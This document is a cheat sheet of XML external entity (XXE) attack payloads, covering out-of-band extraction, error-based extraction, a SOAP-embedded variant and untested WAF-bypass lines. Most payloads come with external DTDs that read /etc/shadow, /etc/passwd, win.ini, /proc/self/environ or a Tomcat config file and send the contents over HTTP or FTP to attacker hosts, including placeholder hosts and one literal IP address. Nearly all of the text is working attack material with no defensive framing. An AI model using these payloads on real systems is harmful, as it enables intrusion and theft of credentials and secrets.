XXE Payload

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

---

OoB extraction

---

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
## External dtd: ##
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">

---

OoB variation of above (seems to work better against .NET)

---

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
%exfil;
]>
## External dtd: ##
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">

---

OoB extraction

---

<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/shadow">
<!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd">
%sp;
%param3;
%exfil;
]>
## External dtd: ##
<!ENTITY % param3 "<!ENTITY &#x25; exfil SYSTEM 'ftp://Evilhost:port/%data3;'>">

---

OoB extra ERROR -- Java

---

<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/passwd">
<!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd">
%sp;
%param3;
%exfil;
]>
<r></r>
## External dtd: ##
<!ENTITY % param1 '<!ENTITY &#x25; external SYSTEM "file:///nothere/%payload;">'> %param1; %external;

---

OoB extra nice

---

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml ">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://evil/evil.xml">
%dtd;
]>
<root>&all;</root>
## External dtd: ##
<!ENTITY all "%start;%stuff;%end;">

---

File-not-found exception based extraction

---

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" >
%one;
%two;
%four;
]>
## External dtd: ##
<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">

---

FTP

---

<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd">
%asd;
%c;
]>
<a>&rrr;</a>
## External dtd ##
<!ENTITY % d SYSTEM "file:///proc/self/environ">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">

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Inside SOAP body

---

<soap:Body>
	<foo>
		<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://66.42.33.60:8891/"> %dtd;]><xxx/>]]>
	</foo>
</soap:Body>
---------------------------
Untested - WAF Bypass
---------------------------
<!DOCTYPE :. SYTEM "http://"
<!DOCTYPE :_-_: SYTEM "http://"
<!DOCTYPE {0xdfbf} SYSTEM "http://"